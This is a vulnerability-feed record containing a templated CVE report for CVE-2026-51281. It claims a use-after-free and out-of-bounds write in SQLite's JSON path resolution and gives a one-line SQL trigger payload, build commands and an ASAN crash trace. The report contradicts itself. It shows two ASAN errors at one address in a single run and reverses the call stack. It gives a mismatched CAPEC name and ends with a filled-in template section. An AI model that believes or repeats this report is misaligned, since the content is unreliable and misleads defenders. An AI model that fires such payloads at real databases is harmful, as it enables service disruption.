{"uuid": "741529e7-c48a-486a-b4ed-697e19d7510e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51281", "type": "seen", "source": "https://gist.github.com/programmervuln/4a4670ae02340631b9a5e3eaddece53a", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51281\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51281\n4. Vulnerability Prose Description\nA composite heap memory corruption flaw resides within the JSON path value resolution routine of the SQLite JSON1 extension. An attacker-supplied malformed deep JSON path string processed by json_extract and related path resolution functions triggers heap deallocation for a path token buffer context pointer that is not nullified after memory release, creating a persistent dangling pointer. Lack of runtime length validation for attacker-controlled path token strings allows an unconstrained out-of-bounds heap write targeting the already freed buffer within a single continuous execution flow. Subsequent dereferencing of the stale dangling pointer causes use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonPathResolve() function. Successful exploitation may result in immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON path string invokes the vulnerable jsonPathResolve() function defined in src/json.c.\nSource file src/json.c Line 2809 executes sqlite3_free(pPathCtx->pTokenBuf); to release heap memory allocated for JSON path token storage.\nThe pPathCtx->pTokenBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized path token length values bypass all pre-write capacity boundary validation checks for the token buffer copy operation.\nSource file src/json.c Line 2856 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed token buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 2891 performs direct memory structure lookup using the unmodified dangling pPathCtx->pTokenBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON path query functionality.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records that can be extracted through return values of JSON path resolution SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 2809(memory free), Line 2891(dangling pointer access), Line 2856(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_extract('{\"data\":1}', '$.'||printf('%.*c',0x5200,'P'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==11489==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e000004920 at pc 0x560332698541 bp 0x7fffeb345910 sp 0x7fffeb345900\nREAD of size 16 at 0x60e000004920 thread T0\n    #0 0x560332698540 in jsonPathResolve src/json.c:2891\n    #1 0x560332694a80 in sqlite3JsonExtract src/json.c:3516\n    #2 0x5603323e4720 in sqlite3VdbeExec src/vdbe.c:6345\n    #3 0x5603323cda80 in sqlite3Step src/vdbeapi.c:530\n    #4 0x5603323ce210 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x5603322e1950 in main shell.c:1301\n    #6 0x7fc8678910ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x5603322dc400 in _start (sqlite3:0x5603322dc400)\n\nAddress 0x60e000004920 is located 72 bytes inside of 20992-byte free block 0x60e0000048d0-0x60e000009a50\nFreed by thread T0 here:\n    #0 0x7fc86bd10ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x560332698070 in jsonPathResolve src/json.c:2809\n    #2 0x560332694a80 in sqlite3JsonExtract src/json.c:3516\n    #3 0x5603323e4720 in sqlite3VdbeExec src/vdbe.c:6345\n\nPreviously allocated by thread T0 here:\n    #0 0x7fc86bd05ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x560332697850 in jsonPathResolve src/json.c:2752\n    #2 0x560332694a80 in sqlite3JsonExtract src/json.c:3516\n\n==11489==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60e000004920 at pc 0x560332698351 bp 0x7fffeb345930 sp 0x7fffeb345920\nWRITE of size 20992 at 0x60e000004920 thread T0\n    #0 0x560332698350 in jsonPathResolve src/json.c:2856\n    #1 0x560332694a80 in sqlite3JsonExtract src/json.c:3516\n    #2 0x5603323e4720 in sqlite3VdbeExec src/vdbe.c:6345\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_extract with an extremely long JSON path segment constructed by printf('%.*c',0x5200,'P') to generate an attacker-controlled oversized path token payload for JSON path resolution.\nSQLite forwards the untrusted path resolution request to the jsonPathResolve() function within src/json.c, which initializes a path resolution context and allocates the pPathCtx->pTokenBuf heap buffer dedicated to storing parsed JSON path token data.\nDuring intermediate path parsing cleanup logic at Line 2809, the token buffer is released via sqlite3_free(), while the pPathCtx->pTokenBuf pointer value is retained and not overwritten to NULL.\nNo maximum length boundary validation is executed prior to copying the oversized path token payload into the buffer at Line 2856; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated token buffer heap region (CWE-787).\nProgram execution proceeds to Line 2891 and directly dereferences the stale dangling pPathCtx->pTokenBuf pointer to read path token metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON path resolution execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-22\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 2809: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pPathCtx->pTokenBuf);\n\n// Line 2856: Unchecked out-of-bounds memory write utilizing attacker-controlled path token length value\nmemcpy(pPathCtx->pTokenBuf + tokenOffset, zTokenData, tokenDataLen);\n\n// Line 2891: Illegal dangling pointer dereference triggering Use After Free vulnerability\ntokenType = pPathCtx->pTokenBuf[tokenIdx].tokenKind;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51281\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 2809\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 2891\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 2856\n\u3010Target Function Name\u3011: jsonPathResolve\n\u3010Exploit Trigger Payload\u3011: SELECT json_extract('{\"data\":1}', '$.'||printf('%.*c',0x5200,'P'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON path token payload triggers early path token buffer free without pointer invalidation, unbounded token copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON path final resolution\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-22\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T02:53:58.803176Z"}